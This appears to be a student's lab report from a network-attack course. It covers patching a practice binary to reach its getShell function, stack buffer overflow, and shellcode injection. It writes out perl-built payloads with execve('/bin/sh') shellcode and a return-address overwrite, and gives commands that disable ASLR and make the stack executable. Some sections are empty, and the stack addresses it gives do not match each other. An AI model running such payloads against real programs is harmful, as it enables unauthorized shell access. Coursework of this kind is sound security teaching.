2018-2019-2 网络对抗技术 20165321 Exp1 PC平台逆向破解

1. 逆向及Bof基础实践说明

1.1 实践目标

本次实践的对象是一个名为pwn1的linux可执行文件。该程序正常执行流程是：main调用foo函数,foo函数会简单回显任何用户输入的字符串。该程序同时包含另一个代码片段，getShell，会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。

1.2实践内容如下：

手工修改可执行文件，改变程序执行流程，直接跳转到getShell函数。
利用foo函数的Bof漏洞，构造一个攻击输入字符串，覆盖返回地址，触发getShell函数。
注入一个自己制作的shellcode并运行这段shellcode。
这几种思路，基本代表现实情况中的攻击目标:
运行原本不可访问的代码片段
强行修改程序执行流
以及注入运行任意代码。

1.3 基础知识

1.3.1掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码

NOP：机器码：90。类似一个空指令，执行时CUP什么都不做，执行过这条指令在执行下一条指令。
JNE：机器码：75。如果条件不相等跳转到要跳转的位置。
JE：机器码：74。如果条件相等则跳转。
JMP：机器码：EB。直接跳转到所需跳转的位置。
补：段内直接短转Jmp short 段内直接近转移Jmp near（机器码：E9） 段内间接转移 Jmp word（机器码：FF） 段间直接(远)转移Jmp far（机器码：EA）
CMP：类似通过对操作数做减法来比较操作数的指令，只做比较不保存结果。会对标志寄存器产生影响。

1.3.2掌握反汇编与十六进制编程器

2. 直接修改程序机器指令，改变程序执行流程

实验点1：手工修改可执行文件，改变程序执行流程，直接跳转到getShell函数

• cp pwn1 pwn2 拷贝pwn1为pwn2；
• 使用objdump -d pwn2将pwn2反汇编；
  
• vi pwn2进入编辑器，输入:%!xxd将显示模式切换为十六进制，准备进行修改；
• 在底行模式输入/e8d7定位需要修改的地方，确认并按i进入插入模式，修改d7为c3；
  这部分的图没有截
• 可找到80484b5: e8 d7 ff ff ff call 8048491 这条汇编指令，这条指令就是在main函数中调用位于地址8048491处的foo函数，e8表示“call”，d7 ff ff ff是地址。因此，我们想让函数调用getShell，只需将其修改为c3 ff ff ff；
  
• 输入:%!xxd -r将十六进制转换为原格式，再输入:wq!保存并退出；
  
• 输入./pwn2，即运行修改后的代码，可以得到shell提示符；
  

3. 通过构造输入参数，造成BOF攻击，改变程序执行流

3.1 反汇编，了解程序的基本功能

3.2 确认输入字符串哪几个字符会覆盖到返回地址

截图：

3.3 确认用什么值来覆盖返回地址

3.4 构造输入字符串

截图：

4. 注入Shellcode并执行

一开始我只管输入execstack命令，系统一直提示无命令，后来才知道execstack命令需要安装，于是apt-get install execstack，终于可以使用execstack命令。

4.1 准备工作

• 设置堆栈可执行：
  execstack -s pwn3 //设置堆栈可执行 execstack -q pwn3 //查询文件的堆栈是否可执行

• 关闭地址随机化（如果不关闭的话，每次操作esp的地址都会发生变化）
  more /proc/sys/kernel/randomize_va_space //查看随机化是否关闭 echo "0" > /proc/sys/kernel/randomize_va_space //关闭随机化
  “2”为开启，“0”为关闭
  

  4.2 构造要注入的payload

  perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

• 在一个窗口运行(cat input_shellcode;cat) | ./pwn3
  
• 在另外一个窗口ps -ef | grep pwn能看见当前运行pwn3的进程号为3094
  
• 在gdb里面attach 3094进行调试
• disassemble foo反编译
• 可以看到ret指令的地址为0x080484ae，在此处设置断点break *0x080484ae
  
• 在另一个终端按下回车，这样程序就会执行之后在断点处停下来
• 再在gdb调试的终端输入c继续运行程序
• info r esp查看esp寄存器地址
• x/16x 0xffffd34c以16进制形式查看0xffffd34c地址后面16字节的内容
  
• 从上图中看到01020304所在的地址为0xbffff21c,那么注入的shellcode代码的地址应该在该ret指令地址后四个字节的位置，即0xbffff21c + 0x00000004 = 0xbffff220。随后退出gdb调试。
• 修改注入代码的覆盖地址
  perl -e 'print "A" x 32;print"\x20\xf2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

• 输入命令(cat input_shellcode;cat) | ./pwn4